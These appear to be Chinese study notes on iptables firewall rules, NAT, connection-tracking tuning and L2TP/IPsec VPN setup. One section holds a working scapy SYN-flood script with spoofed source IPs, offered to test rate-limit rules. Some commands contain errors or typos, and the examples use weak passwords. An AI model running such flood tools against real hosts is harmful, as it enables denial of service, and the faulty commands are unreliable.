Linux防火墙技术

Linux防火墙技术

image-20220727222535470

总结:
1.基于某个段的过滤:INPUT chain
2.本机作为iptables防火墙进行转发:FORWARD chain
3.作为NAT网关:在nat表(-t nat),SNAT在POSTROUTING chain做转发-d为非内网网段(! -d 10.0.0.0/24);DNAT在PREROUTING做转发(目标地址为外网地址),destination为目标主机+端口

基本的安全技术:

1.入侵检测系统:不阻拦外部攻击行为,检测出对应的攻击行为,一般都是监控系统,事后处理

2.入侵防御系统:阻断攻击行为,分析例如木马,蠕虫,系统漏洞等攻击行为,在线部署防火墙,SSH攻击,DDOS攻击等

3.防火墙:部署在整体网络架构的最外部,允许一些规则、流量流入,拒绝流量流入;

云环境:WAF(应用防火墙),云防火墙(IP流量防火墙)

线下:部署在DMZ区,介于outbound和inbound之间,分为trust(信任区)和untrust(不信任区)

主机层面:防火墙,企业主机安全等(配额)

tar -xf:解压包

tar -czf:压缩包

tar -tvf:查看包内的文件

应用层防火墙:阿里云/华为云的WAF,用于url层面的防护,上传文件是否合法,大小写(七层)

网络层防火墙:边界防火墙,主要是针对IP层面的防护,流量级别的防护,IP+端口,包过滤防火墙

Internet:untrust区

防火墙

DMZ区:用于部署负载均衡,公司用的是硬件负载均衡F5,用于对外提供服务的服务区放置的,比如FTP服务器,WEB服务器网站等

内网:trust区,接入核心交换机---汇聚层---接入层等

Linux内核防火墙iptables

开源的防火墙功能,主要包括防火墙firewall,NAT以及数据包过滤等技术,存在于内核kernal中,无论是哪个防火墙软件,都是依赖于内核功能netfilter

centos6:iptables

centos7:firewalld

centos8:nft

[root@master script]#which iptables
/usr/sbin/iptables
[root@master script]#ll `which iptables`
lrwxrwxrwx. 1 root root 13 Feb 19 12:44 /usr/sbin/iptables -> xtables-multi

rpm -ql iptables
rpm -q iptables:查看iptables的安装情况

5个钩子函数:总入口PRE-ROUTING,INPUT(到内部),OUTPUT(内部出去),FORWARD(穿过本机出去),POST-ROUTING(总出口)

称为chain(链子)

通过iptables可以控制五种协议的执行,放行某些数据包等

上层协议栈:内部访问的应用的协议,比如http/https,TCP/IP端口等;一般来说,访问到内部的服务,一般配置INPUT

image-20220724174240149

Linux netfilter内的5个表(5表5链)

每个chain对应一个钩子函数,5表5链,钩子函数称为webhook,钩子

5个表table:最主要:filter和NAT

filter:过滤规则,允许/拒绝某些流量流入,比如INPUT,OUPUT等

NAT:地址转换表,包括SNAT和DNAT

mangle:修改数据规则表

raw:加快通过防火墙的速度

security:强制安全规则,由SELINUX实现,/etc/

iptables基本参数(公有云iptables原理)

公有云iptables原理:默认拒绝所有

iptables -A INPUT -j REJECT

需要一条一条规则去放行,或者是端口,这些规则需要写在拒绝所有规则的前面,放xxx网段对应的端口,只不过做成了SAAS产品

-p tcp/udp --dport 80
-p tcp -m multiport --dports 80,443,8081
-p tcp -m iprange --src-range 10.0.0.129-10.0.0.254

默认用的就是filter表,主要包括的chain链如下:

主要使用的chain:INPUT(输入),FORWARD(转发),OUTPUT(输出)

TCP三次握手协议:可以看到TCP连接的状态,一般都是有去有回的,比如SSH连接,建立了就是ESTABLISHED建立连接状态,或者是LISTENING监听状态,没和服务器建立连接

iptables -nL:查看iptables基本规则或者iptables -vnL,常用-nL
iptables -F:关闭iptables功能
-v:查看细节,chain等
-s:源地址
-d:目的地址
-j:动作,DROP丢弃

iptables -S:查看目前已经创建的规则
##简单写一条拒绝iptables指令,从10.0.0.129任何数据包都无法到10.0.0.128了,且两边都无法ping通,C/S架构,icmp包要去了能回来才行
iptables -A INPUT -s 10.0.0.129 -j DROP

##简单使用tcpdump在10.0.0.128上抓个包看看,-i网卡,-n网络协议,通过防火墙策略拒绝了包的发送,其实icmp包是相互,双向的
tcpdump -i ens33 -n icmp

image-20220727220826893

iptables -vnL:还可以看到这个规则拒绝了多少个包

image-20220727215225662

iptables基本匹配规则(基本功能)

按照插入的规则顺序进行过滤filter

-s:源地址
-d:目的地址
-p:protocal协议
-m:启用扩展模块

##TARGET动作
iptables -j:对-s来的数据包操作
-j DROP:丢弃,不回应
-j REJECT:拒绝,refuse包
-j ACCEPT:接受,允许

iptables -F:删除掉某个chain的规则
iptables -F WEB:清空掉有关自定义链的内容

iptables -A ##默认添加,到最后面,在现有的规则上新加一条
iptables -D INPUT 5 ##删除掉第五行iptables
iptables -I INPUT -s 10.0.0.129 -j REJECT ##-I表示在最前面插入一条规则,默认走最前面的规则,最好都走-I,插到最前面
iptables -P INPUT ##修改整个chain链的规则,比如都为REJECT或者是DROP

##一般来说,在企业内的主机出方向都是不受限制,OUTPUT,入方向限制比较多,可以设定加白策略

image-20220728222651565

拒绝所有的10.0.0.129的包,只允许icmp包(插入顺序),也可以-I指定插入的行数(条目数)

iptables -I INPUT -s 10.0.0.129 -j REJECT
iptables -I INPUT -s 10.0.0.129 -p icmp -j ACCEPT
##换成telnet 10.0.0.128,会显示连接被拒绝,refused,就是REJECT规则的写法

image-20220728224656139

iptables配置别名alias显示行号:alias ipnum='iptables -nL --line-numbers'

默认iptables -nL不显示行号,--line-numbers显示行号

alias iptables -nl='iptables -nl --line-numbers'
alias ipnum='iptables -nL --line-numbers'
source .bashrc
使用这个别名alias

配置永久保存iptables规则:services iptables save

在Cent OS 6下,由于本身就有/etc/sysconfig/iptables文件,所以只需要执行即可

service iptables save

在Cent OS 7下,由于默认没有安装iptables.services服务,所以需要安装一下

yum -y install iptables.services
systemctl enable --now iptables

service iptables save ##保存iptables规则
iptables: Saving firewall rules to /etc/sysconfig/iptables:[  OK  ]

尝试一下reboot重启

image-20220728232225920

cat /etc/sysconfig/iptables:查看一下iptables配置文件,里面写的都是默认规则

iptables扩展模块(隐)

tcp/udp模块:默认隐式扩展模块,不需要写-m扩展模块,一般的写法是iptables -I INPUT -p tcp -m tcp/udp等这样

允许10.0.0.129访问128的httpd服务(80)端口,

##还是需要写上-p tcp表示允许什么协议通过
-p:什么协议protocal
--dport:目标端口
-s:写上源端口
-j:写上操作

##先拒绝所有,在单独放行80端口的访问,这里的--dport不加s
iptables -A INPUT -s 10.0.0.129 -j REJECT
iptables -I INPUT 2 -p tcp --dport 80 -s 10.0.0.129 -j ACCEPT

ipnum
[root@master ~]#iptables -I INPUT 2 -p tcp --dport 80 -s 10.0.0.129 -j ACCEPT
[root@master ~]#ipnum 
Chain INPUT (policy ACCEPT)
num  target     prot opt source               destination         
1    ACCEPT     icmp --  10.0.0.129           0.0.0.0/0           
2    ACCEPT     tcp  --  10.0.0.129           0.0.0.0/0            tcp dpt:80
3    REJECT     all  --  10.0.0.129           0.0.0.0/0            reject-with icmp-port-unreachable

iptables -R INPUT:表示replace,替换掉某一条规则

在10.0.0.129上访问10.0.0.128的80端口是成功的

curl k8s.catyer.cn

telnet k8s.catyer.cn 80

iptables扩展模块(显):可以多个扩展模块组合

让httpd协议支持ssl:安装mod_ssl模块服务

yum -y install mod_ssl

systemctl enable --now httpd

curl https://k8s.catyer.cn ##是OK的
curl -k https://k8s.catyer.cn ##忽略SSL安装告警

image-20220729230840271

-m multiport --dports 80,443:批量添加端口,注意--dports加s

示例:一条iptables规则放通80,443端口,129能够访问128的443和80端口

先-p:表示跑什么协议,-m表示扩展模块为multiport,--dports记得s

iptables -I INPUT -p tcp -m multiport --dports 80,443 -s 10.0.0.129 -j ACCEPT
ipnum
Chain INPUT (policy ACCEPT)
num  target     prot opt source               destination         
1    ACCEPT     tcp  --  10.0.0.129           0.0.0.0/0            multiport dports 80,443

slave1--->master的443流量可以打开了

image-20220729233040836

image-20220729233616409

-N WEB-CHAIN:创建自定义链

自定义链:是一个模块化的东西,相当于是一个函数

iptables的链chain分为主链和自定义链,主链部分分为pre-routing,input,forward,output,post-routing,自定义链可以自行创建

-N:创建新的自定义链
-E old chain new chain:修改自定义链名字
-X:删除空的自定义链,必须是在INPUT表内没有调用,并且表内规则为空

iptables -S:显示目前已经创建的链规则,包括自带系统链和自定义链
[root@master ~]#iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-N DOCKER
-N DOCKER-ISOLATION
-N WEB
-A INPUT -i virbr0 -p udp -m udp --dport 53 -j ACCEPT
-A INPUT -i virbr0 -p tcp -m tcp --dport 53 -j ACCEPT
-A INPUT -i virbr0 -p udp -m udp --dport 67 -j ACCEPT
-A INPUT -i virbr0 -p tcp -m tcp --dport 67 -j ACCEPT


##写自定义链
iptables -A INPUT(这里其实是写链名chain)
iptables -A WEB(写到自定义链中)

##将之前定义好的iptables规则写入WEB链中
iptables -I WEB -p tcp -m multiport --dports 80,443 -s 10.0.0.129 -j ACCEPT
Chain WEB (0 references)
num  target     prot opt source               destination         
1    ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            multiport dports 80,443

##上面的INPUT链就不需要了,直接写WEB链就可以了
iptables -D INPUT 5

##调用WEB函数,使其生效,插入到第五条INPUT链中,测试访问443端口是OK的;拟定一个UDP协议的端口53,加入到WEB内,不用修改INPUT主表
iptables -I INPUT 5 -j WEB	
iptables -A WEB -p udp --dport 53 -s 10.0.0.129 -j ACCEPT

[09:04:49 root@slave1 ~]#curl -k https://k8s.catyer.cn
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>

iptables -F:清空某个链(表)的规则

iptables -F:删除掉某个chain的规则
iptables -F WEB:清空掉有关自定义链的
iptables -X WEB:清空某个空的自定义链

iptables -F INPUT:清空掉有关INPUT链的规则

iprange扩展:指定IP地址范围

--src-range:源地址范围
--dst-range:目的地址范围

##实现129和130同时能够访问本机的80,443端口,nginx默认的访问端口是8001
iptables -A WEB -p tcp -m multiport --dports 80,443 -m iprange --src-range 10.0.0.129-10.0.0.130 -j ACCEPT
iptables -I WEB -p tcp -m multiport --dports 8001 -m iprange --src-range 10.0.0.129-10.0.0.130 -j ACCEPT

connlimit:限制访问服务端的连接并发数

限制客户端访问服务端的并发连接数,通常用于拒绝DDOS工具

--connlimit-upto N:小于等于N匹配,REJECT/ACCEPT
--connlimit-above N:大于N匹配,REJECT/ACCEPT

##匹配如果并发连接数大于10的部分,全部拒绝,里面可以加端口号/IP等,-m multiport --dports 80,443
iptables -A INPUT -p tcp -m --connlimit-above 10 -j REJECT

limit:限流经过的包

限制在一分钟内的流过的包

iptables -A INPUT -p tcp -m limit --limit 10/minute

泛洪攻击的python脚本:升级python版本至python 3.5.1

查看本机的python版本:python -V,需要升级python版本,执行python脚本

需要升级python版本到3以上

当在Python 2.X文件中写中文注释或输出中文时候,经常会出现编译错误(在Python 3.X中没有这种错误。)这是因为Python 2.X的默认编码文件是用ASCII码----包括中文的注释

image-20220730115734200

##安装python依赖包
yum install openssl-devel bzip2-devel expat-devel gdbm-devel readline-devel sqlite-devel -y

##下载python-3.5.1版本的包
wget https://www.python.org/ftp/python/3.5.1/Python-3.5.1.tgz

##删除旧版本的python
which python
rm -rf /usr/local/python

##安装3.5.1版本的python
tar -xf Python-3.5.1.tgz
mv Python-3.5.1 /usr/local
##配置
./configure
##编译安装
make && make install

ln -s /usr/local/bin/Python3.5 /usr/local/python
##查看python版本
python3 -V
[14:06:19 root@slave1 ~]#python3 -V
Python 3.5.1

##修改/usr/bin/yum的默认python版本,yum文件默认是python语言写的
vim /usr/bin/yum
#!/usr/bin/python2.7
import sys

泛洪攻击脚本:DDOS攻击,分布式的拒绝服务,泛洪攻击

#!/usr/bin/python
from scapy.all import *
import random
 
#random IP
def randomIP():
    ip=".".join(map(str,(random.randint(0,255) for i in range(4))))
    return ip
 
#random port
def randomPort():
    port=random.randint(1000,10000)
    return port
 
#syn-flood
def synFlood(count,dstIP,dstPort):
    total=0
    print("Packets are sending ...")
    for i in range(count):
        #IPlayer
        srcIP=randomIP()
        dstIP=dstIP
        IPlayer = IP(src=srcIP,dst=dstIP)
        #TCPlayer
        srcPort=randomPort()
        TCPlayer = TCP(sport=srcPort, dport=dstPort, flags="S")
        #send pack
        packet = IPlayer / TCPlayer
        send(packet)
        total+=1
    print("Total packets sent: %i" % total)
 
#infor
def info():
    print("#"*30)
    print("# Welcome to SYN Flood Tool  #")
    print("#"*30)
    #IP & port 
    dstIP = input("Target IP : 10.0.0.128")
    dstPort = int(input("Target Port : 8001"))
    return dstIP, dstPort
 
if __name__ == '__main__':
    dstIP, dstPort=info()
    count=int(input("Please input the number of packets:"))
    synFlood(count,dstIP,dstPort)

state扩展:根据追踪机制去检查连接状态(一般是ESTABLISHED)

面试题
这两条路径,都是Linux系统内可建立的最大连接数,上限并发,可以自己去设置

##系统内已经建立的连接(state为established)
[root@master ~]#cat /proc/net/nf_conntrack
ipv4     2 tcp      6 431954 ESTABLISHED src=172.16.58.35 dst=172.16.48.104 sport=46638 dport=443 src=172.17.0.2 dst=172.16.58.35 sport=443 dport=46638 [ASSURED] mark=0 zone=0 use=2
ipv4     2 tcp      6 13 CLOSE_WAIT src=172.16.48.131 dst=172.16.48.104 sport=38264 dport=443 src=172.17.0.2 dst=172.16.48.131 sport=443 dport=38264 [ASSURED] mark=0 zone=0 use=2

##这一条是本地连接的
ipv4     2 tcp      6 93 TIME_WAIT src=127.0.0.1 dst=127.0.0.1 sport=47186 dport=10051 src=127.0.0.1 dst=127.0.0.1 sport=10051 dport=47186 [ASSURED] mark=0 zone=0 use=2

##查看最大连接数
[root@master ~]#cat /proc/sys/net/netfilter/nf_conntrack_max 
65536
[root@master ~]#cat /proc/sys/net/nf_conntrack_max 
65536

##放通源端为10.0.0.129的icmp规则
Chain WEB (1 references)
num  target     prot opt source               destination         
1    ACCEPT     icmp --  10.0.0.129           0.0.0.0/0   


系统最大连接数/proc/sys/net/netfilter/nf_conntrack_max

##修改最大连接数上限,ping请求无法过去
echo 1 > /proc/sys/net/netfilter/nf_conntrack_max 
echo 65536 > /proc/sys/net/netfilter/nf_conntrack_max 

查看系统日志(是linux系统日志),证明是这个track表已经达到上限,直接丢包了(造成网站无法访问,访问的tcp连接直接中断),需要恢复回去;类似的操作还有redis的最大连接上线并发,可以调整这个值

tail -f /var/log/messages

image-20220730143154880

nginx-配置系统最大连接并发net.nf_conntrack_max(系统调优)--->面试题,配置内核配置文件sysctl.conf

需要修改系统内核参数配置文件:/etc/sysctl.conf

在生产系统中,通常有一些前端的机器需要用于转发外部的客户端请求,例如nginx等负载均衡服务器,需要配置一下net.nf_conntrack_max这个参数,免得并发一大系统就崩溃了,导致服务器无法执行转发服务

一键入职机器的net.nf_conntrack_max 参数,配置到了262144,因为是前端的nginx转发机器,转发到各个server中,转发到各个服务器组中

##查看一键入职最大连接数nf_conntrack_max
sysctl -a |grep net.nf_conntrack_max
net.nf_conntrack_max = 262144

##配置net.nf_conntrack_max参数,调整linux的内核参数
vim /etc/sysctl.conf
net.nf_conntrack_max=100000
sysctl -p ##生效

##默认的系统配置内是有生效的
sysctl -a |grep net.nf_conntrack
net.nf_conntrack_max = 100000

image-20220730144147814

连接跟踪模块(系统参数)的开启,是有加载这个内核模块的,加载这个模块,最大连接数参数才能启动

lsmod | grep nf_conntrack
sysctl -a | grep nf_conntrack_max

image-20220730161940656

解决方案:

1.调大nf_conntrack_max的值

##配置net.nf_conntrack_max参数,调整linux的内核参数
vim /etc/sysctl.conf
net.nf_conntrack_max=100000
sysctl -p ##生效

2.可设置tcp连接timeout超时时间,减少超时时间

##查询
sysctl -a | grep netfilter.nf_conntrack_tcp

net.netfilter.nf_conntrack_tcp_timeout_established = 432000
net.netfilter.nf_conntrack_tcp_timeout_fin_wait = 120
net.netfilter.nf_conntrack_tcp_timeout_last_ack = 30
net.netfilter.nf_conntrack_tcp_timeout_max_retrans = 300

state模块应用

-m state分为:NEW,ESTABLISHED,RELATED,INVALID等state状态,最重点就是NEW和ESTABLISHED,新连接(新机器请求)和已经建立的连接(老机器SSH连接等,telnet连接等)

1.128能访问129,129不能访问128

原理:拒绝所有来自10.0.0.129的新连接(新的tcp包),128的出方向(output)没有限制,所以就是128能通129

iptables -I INPUT -s 10.0.0.129 -m state --state NEW -j REJECT

2.允许已经建立连接的老机器访问state established

原理:已与本机建立连接的客户端,比如SSH连接,还可以连,其他的拒绝访问,可以插在默认的拒绝所有

iptables -I INPUT -m state --state ESTABLISHED -j ACCEPT

TARGET:-j动作

TARGET主要模块有:ACCEPT,REJECT,DROP(丢包),LOG(记录到日志中)

iptables规则优化最佳实践

主要是看主机在通过iptables所需要经过的过滤规则,如何配置性能更优

1.ESTABLISHED的连接,比如可以查看cat /proc/net/nf_conntrack查看已经建立连接的客户端,可以放在前面

2.入站新请求,-m state --state NEW,可以将其REJECT,谨慎放行

iptables -A INPUT -m state --state NEW -s 10.20.0.0/24 -j REJECT

3.默认所有都是拒绝,在拒绝的大段前面放行该放行的小段

##默认所有全部拒绝,写在最下面
iptables -A INPUT -j REJECT

##类似
iptables -I INPUT -p tcp -m multiport --dports 80,443,8080 -s 172.16.0.0/24 -d 10.0.0.0/24 -j ACCREPT

4.访问同一类应用,比如http 80端口,拒绝10.0.0.0/24,允许10.0.0.129访问,129放大段前面,大段包含小段,优先找小段

iptables -I INPUT -p tcp --dport 80 -s 10.0.0.129 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -s 10.0.0.0/24 -j REJECT

5.不同类应用,mysql&http,匹配大的放前面

6.匹配多个端口,多个地址,放一起

-p tcp -m multiport --dports 80,443,8001
-p tcp -m iprange --src-range 10.0.0.128-10.0.0.135

7.配置类似公有云安全组的方式,默认拒绝所有,需要放行才加白

-s 10.0.0.0/24 -j REJECT

image-20220731084029330

iptables规则的保存

对于Cent OS 7及以上,将规则重定向到指定文件

iptables-save > /iptables/rules

如果误删除,可以使用,这个是标准输入交互,将文件内容输入进去即可,这个保存文件可以拷贝给其他主机

iptables-restore < /iptables/rules
scp rules $host:/iptables/rules

可以将这个写进开机自启动的脚本内,但是需要确保这个iptables/rules文件要在

vim /etc/rc.local
##注意:rc.local必须chmod +x rc.local

##手动加载iptables规则
iptables-restore < /iptables/rules

安装service的方法

可以安装iptables.service的包,默认的iptables规则路径在/etc/sysconfig/iptables.service

yum -y install iptables.service
systemctl status iptables
systemctl status iptables.service
● iptables.service - IPv4 firewall with iptables
   Loaded: loaded (/usr/lib/systemd/system/iptables.service; enabled; vendor preset: disabled)
   Active: active (exited) since Sun 2022-07-31 08:35:18 CST; 47min ago
 Main PID: 8674 (code=exited, status=0/SUCCESS)
   CGroup: /system.slice/iptables.service

可以使用iptables-save将规则保存在文件中

Iptables-save > /iptables/rules
开机自启动
systemctl enable --now iptables.service

iptables网络FORWARD配置

实现:内访问外部主机,外部主机不能访问到内部

image-20220731121904111

##环境,不同网段,外网配置为仅主机模式
外网机器 172.16.0.128 Ubuntu
iptables机器 10.0.0.128(内网) 172.16.0.128/24(外网)
内网机器 10.0.0.129

##slave1安装http服务
systemctl enable --now httpd

##ubuntu修改root密码,ubuntu主机默认是使用ubuntu用户登录,但是ubuntu默认是sudoers的权限
sudo passwd root
new password:123
su root

目前测试:从内部10.0.0.129能联通172.16.0.128/24,外部进不来

##10.0.0.129 slave1配置:网卡网关指向iptables防火墙机器
vim /etc/sysconfig/network-scripts/ifcfg-ens33
GATEWAY=10.0.0.128
ping www.baidu.com是ok的,开启了ipv4转发forward

cat /etc/sysctl.conf | grep ipv4
net.ipv4.ip_forward=1

实现转发FORWARD配置,实现内部curl外部机器,仅有外部机器这个IP能够访问内部

##先拒绝所有,再放行
iptables -A FORWARD -j REJECT

##内部到外网新的包全部放通
iptables -I FORWARD -s 10.0.0.0/24 !-d 10.0.0.0/24 -m state --state NEW -j ACCEPT

##仅允许转发到外部机器
iptables -I FORWARD -s 10.0.0.0/24 !-d  -m state --state NEW -j ACCEPT

##所有网段FORWARD转发的包全部接收,状态为ESTABLISHED
iptables -I FORWARD -m state --state ESTABLISHED -j ACCEPT

iptables实现SNAT和DNAT

SNAT:源地址转换,内网能够访问公网,哪边出

DNAT:目的地址转换,目的能够访问内网,NAT网关起到一个转发的作用,转发到目的IP的目的端口

一般在企业内部,SNAT用于内部机器上网,比如k8s集群内的node节点;外部访问一般使用SLB负载均衡或者是直接机器的公网IP解析到域名,通过SLB/机器的安全组规则进行流量的过滤

同一台机器的SNAT规则:根据业务端口的不同划分

不同机器相同业务的SNAT规则:根据IP地址的不同划分

SNAT:必须要配置内网地址,私网三类地址

image-20220731174427030

NAT表的四个链:PRE-ROUTING,INPUT,OUTPUT,POST-ROUTING,需要在POST-ROUTING chain上面配置,向外的地址转换NAT

image-20220731174652547

从POST-ROUTING转发出去

##专线网络,to-source表示当前固定的公网IP
iptables -t nat -I POSTROUTING -s 10.0.0.0/24 ! -d 10.0.0.0/24 -j SNAT --to-source 100.9.6.4

##动态IP,查看NAT表的信息,除了10.0.0.0/24网段,其他全部转发,从POST_ROUTING出去
iptables -t nat -I POSTROUTING -s 10.0.0.0/24 ! -d 10.0.0.0/24 -j MASQUERADE
iptables -t nat -nL / iptables -t nat -nL --line-numbers
Chain POSTROUTING (policy ACCEPT)
target     prot opt source               destination         
MASQUERADE  all  --  10.0.0.0/24         !10.0.0.0/24 

##删除NAT表的规则
iptables -t nat -D POSTROUTING(chain) 1

##配置iptables机器的双网卡,要和ubuntu主机同一个网段
cp ifcfg-ens33 ifcfg-ens36
IPADDR=172.16.0.10
NETMASK=255.255.255.0
GATEWAY=172.16.0.2

##在ubuntu上tail日志查看访问IP,获取到源端IP了;去掉POSTROUTING规则就无法curl通了,slave1的gateway是10.0.0.128,出口网关,所以在nginx日志中获取的是出口网关的IP
curl 172.16.0.135--->nginx服务
tail -f /var/log/nginx/access.log
172.16.0.10 - - [01/Aug/2022:13:56:24 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.29.0"

##curl一个大一点的文件,查看ubuntu端的tcp连接状态(ESTABLISHED),ss -nt,peer查看远端的地址
State              Recv-Q           Send-Q           Local Address:Port          Peer   
ESTAB              0                1152608          172.16.0.135:80             172.16.0.10:53704
curl 172.16.0.135/test.txt

iptables实现DNAT(外访问内)

访问到iptables默认的出公网地址(NAT网关的IP),由这个地址转发到内部的请求,访问内部的应用+端口号;DNAT规则就是默认的IP了,不会有动态IP的情况,一般的NAT网关/SLB的IP都为固定

从PREROUTING进去,目的IP为iptables的公网网卡

##源-s:源端IP,-d:网关的IP,--to-destination:interserver(内网目标机器的IP)
iptables -t nat -I PREROUTING -s 172.16.0.135 -d 172.16.0.10 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.130:8080

##直接DNAT可以

##查看
ipnum -t nat
Chain PREROUTING (policy ACCEPT)
num  target     prot opt source               destination         
1    DNAT       tcp  --  172.16.0.135         172.16.0.10          tcp dpt:80 to:10.0.0.130:80

##测试,从ubuntu机器(172.16.0.135)访问,无论是curl还是telnet都是通的,证明DNAT成功
##目标端10.0.0.130的http服务修改了port为8080
curl 172.16.0.10
curl 172.16.0.10
http test

iptables实现重定向REDIRECT(有点问题,不如直接DNAT)

同样也是在PREROUTING上面写,通过NAT网关的IP:80转发到后端的8080端口,类似SLB的

##-d目的地址,--dport:NAT网关上面的地址,--to-ports:目标地址的业务端口,从80转发到8080
iptables -t nat -I PREROUTING  -s 172.16.0.135 -d 172.16.0.10 -p tcp --dport 80 -j REDIRECT --to-ports 8080

##重定向转发貌似不是很行

##测试,能否转发到8080端口
curl 172.16.0.10 80
telnet 172.16.0.10 80

综合案例

image-20220803212953176

iptables实现VPN搭建(周末可以研究这个脚本)

Cent OS搭建l2tp

方案一:通过获取现成L2PT脚本搭建

1、拉取脚本

wget --no-check-certificate https://raw.githubusercontent.com/teddysun/across/master/l2tp.sh

2、更改权限

chmod +x l2tp.sh

3、跑脚本

./l2tp.sh

wget --no-check-certificate https://raw.githubusercontent.com/teddysun/across/master/l2tp.sh

4、显示Please enter IP-Range

输入:10.0.10 .0 (表示分给客户端的IP段)

5、显示Please enter PSK

输入:123456 (自定义PSK,随便英文数字都可)

6、显示Please enter Username

输入:123456 (自定义用户名)

7、显示Please enter 123456's password

输入:123456 (自定义密码)

8、后面一直enter即可,成功后会返回主要信息。

注意点:如果WIN10客户端连接不上,需要更改注册表

打开regedit

找到HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Rasman\Parameters

新建 Value Name: ProhibitIpSec

​ Data Type: REG_DWORD

​ Value: 1

备注:

如果你要想对用户进行操作,可以使用如下命令:

l2tp -a 新增用户

l2tp -d 删除用户

l2tp -m 修改现有的用户的密码

l2tp -l 列出所有用户名和密码

l2tp -h 列出帮助信息

其他事项:

1、脚本在安装完成后,已自动启动进程,并加入了开机自启动。

2、脚本会改写 iptables 或 firewalld 的规则。

3、脚本安装时,会即时将安装日志写到 /root/l2tp.log 文件里,如果你安装失败,可以通过此文件来寻找错误信息。

使用命令:

ipsec status (查看 IPSec 运行状态)

ipsec verify (查看 IPSec 检查结果)

/etc/init.d/ipsec start|stop|restart|status (CentOS6 下使用)

/etc/init.d/xl2tpd start|stop|restart (CentOS6 下使用)

systemctl start|stop|restart|status ipsec (CentOS7 下使用)

systemctl start|stop|restart xl2tpd (CentOS7 下使用)

service ipsec start|stop|restart|status (Debian/Ubuntu 下使用)

service xl2tpd start|stop|restart (Debian/Ubuntu 下使用)

方案二:自建L2PT

1.安装 l2tp ipsec 所需要的软件包

yum install epel-release

yum install openswan xl2tpd ppp lsof

2.设置ipsec

2.1 编辑 /etc/ipsec.conf

vi /etc/ipsec.conf

把下面xx.xxx.xxx.xxx换成你自己主机实际的外网固定IP。其他的不动。

config setup

protostack=netkey

dumpdir=/var/run/pluto/

nat_traversal=yes

virtual_private=%v4:10.0.0.0/8,%v4:192.168.0.0/16,%v4:172.16.0.0/12,%v4:25.0.0.0/8,%v4:100.64.0.0/10,%v6:fd00::/8,%v6:fe80::/10

conn L2TP-PSK-NAT

rightsubnet=vhost:%priv

also=L2TP-PSK-noNAT

conn L2TP-PSK-noNAT

authby=secret

pfs=no

auto=add

keyingtries=3

dpddelay=30

dpdtimeout=120

dpdaction=clear

rekey=no

ikelifetime=8h

keylife=1h

type=transport

left=xxx.xxx.xxx.xxx

leftprotoport=17/1701

right=%any

rightprotoport=17/%any

2.2 编辑/etc/ipsec.secrets

vi /etc/ipsec.secrets

include /etc/ipsec.d/default.secrets

/etc/ipsec.secrets 文件里面默认有一句包含

/etc/ipsec.d/*.secrets

的语句.所以可以直接在 /etc/ipsec.d 目录下新建一自己的个 default.secrets 文件.也可以直接把它注释掉,添加下面的配置语句.

vi /etc/ipsec.d/my.secrets

xxx.xxx.xxx.xxx %any: PSK "kuaile"

xx.xxx.xxx.xxx换成你自己VPS实际的外网固定IP, YourPsk你自己定一个,到时候连VPN的时候用,比如可以填csdn.net, 注意空格。

2.3 修改/添加 /etc/sysctl.conf

vi /etc/sysctl.conf

确保下面的字段都有,对应的值或下面一样。省事的话直接在/etc/sysctl.conf的末尾直接把下面内容的粘过去。

net.ipv4.ip_forward = 1

net.ipv4.conf.default.accept_redirects = 0

net.ipv4.conf.default.send_redirects = 0

net.ipv4.conf.eth0.rp_filter = 0

net.ipv4.conf.default.rp_filter = 0

2.4 让修改后的sysctl.conf生效

sysctl -p

2.5 验证ipsec运行状态

ipsec setup start

ipsec verify

verify的内容如下所示,那么就离成功不远了。没有 红色 的fail 就可以了.

Verifying installed system and configuration files

Version check and ipsec on-path [OK]

Libreswan 3.15 (netkey) on 3.10.0-123.9.3.el7.x86_64

Checking for IPsec support in kernel [OK]

NETKEY: Testing XFRM related proc values

​ ICMP default/send_redirects [OK]

​ ICMP default/accept_redirects [OK]

​ XFRM larval drop [OK]

Pluto ipsec.conf syntax [OK]

Hardware random device [N/A]

Two or more interfaces found, checking IP forwarding [OK]

Checking rp_filter [OK]

Checking that pluto is running [OK]

Pluto listening for IKE on udp 500 [OK]

Pluto listening for IKE/NAT-T on udp 4500 [OK]

Pluto ipsec.secret syntax [OK]

Checking 'ip' command [OK]

Checking 'iptables' command [OK]

Checking 'prelink' command does not interfere with FIPSChecking for obsolete ipsec.conf options [OK]

Opportunistic Encryption [DISABLED]

\3. 设置 l2tp

3.1 编辑 /etc/xl2tpd/xl2tpd.conf

vim /etc/xl2tpd/xl2tpd.conf

[global]

ipsec saref = yes

listen-addr = xxx.xxx.xxx.xxx ;这里是你的主机外网ip地址,;号是注释,和一般的配置文件不同

; Use refinfo of 22 if using an SAref kernel patch based on openswan 2.6.35 or

; when using any of the SAref kernel patches for kernels up to 2.6.35.

; saref refinfo = 30

;

force userspace = yes

;

; debug tunnel = yes

[lns default]

ip range = 10.0.10.2-10.0.10.100 ;这里是VPN client的内网ip地址范围

local ip = 10.0.10.1 ;这里是VPN server的内网地址

refuse chap = yes

refuse pap = yes

require authentication = yes

name = LinuxVPNserver

ppp debug = yes

pppoptfile = /etc/ppp/options.xl2tpd

length bit = yes

3.2 编辑 /etc/ppp/options.xl2tpd

vi /etc/ppp/options.xl2tpd

name l2tpd

require-mschap-v2

ms-dns 180.76.76.76

ms-dns 223.5.5.5

ms-dns 8.8.8.8

ipcp-accept-local

ipcp-accept-remote

#ms-dns 8.8.8.8

noccp

auth

crtscts

idle 1800

mtu 1410

mru 1410

nodefaultroute

debug

lock

proxyarp

connect-delay 5000

3.3 配置用户名,密码:编辑 /etc/ppp/chap-secrets

vim /etc/ppp/chap-secrets

client和secret自己填,server和IP留号,l2tp 可以用上面自己设定的 l2tpd . 通用

# Secrets for authentication using CHAP

# client server secret IP addresses

ison * 123456 *

3.4 启动xl2tp

service xl2tpd start

\4. 开放端口以及转发

原样执行下面所有命令

/sbin/iptables -A INPUT -p udp -m policy --dir in --pol ipsec -m udp --dport 1701 -j ACCEPT

/sbin/iptables -A INPUT -p udp -m udp --dport 1701 -j ACCEPT

/sbin/iptables -A INPUT -p udp -m udp --dport 500 -j ACCEPT

/sbin/iptables -A INPUT -p udp -m udp --dport 4500 -j ACCEPT

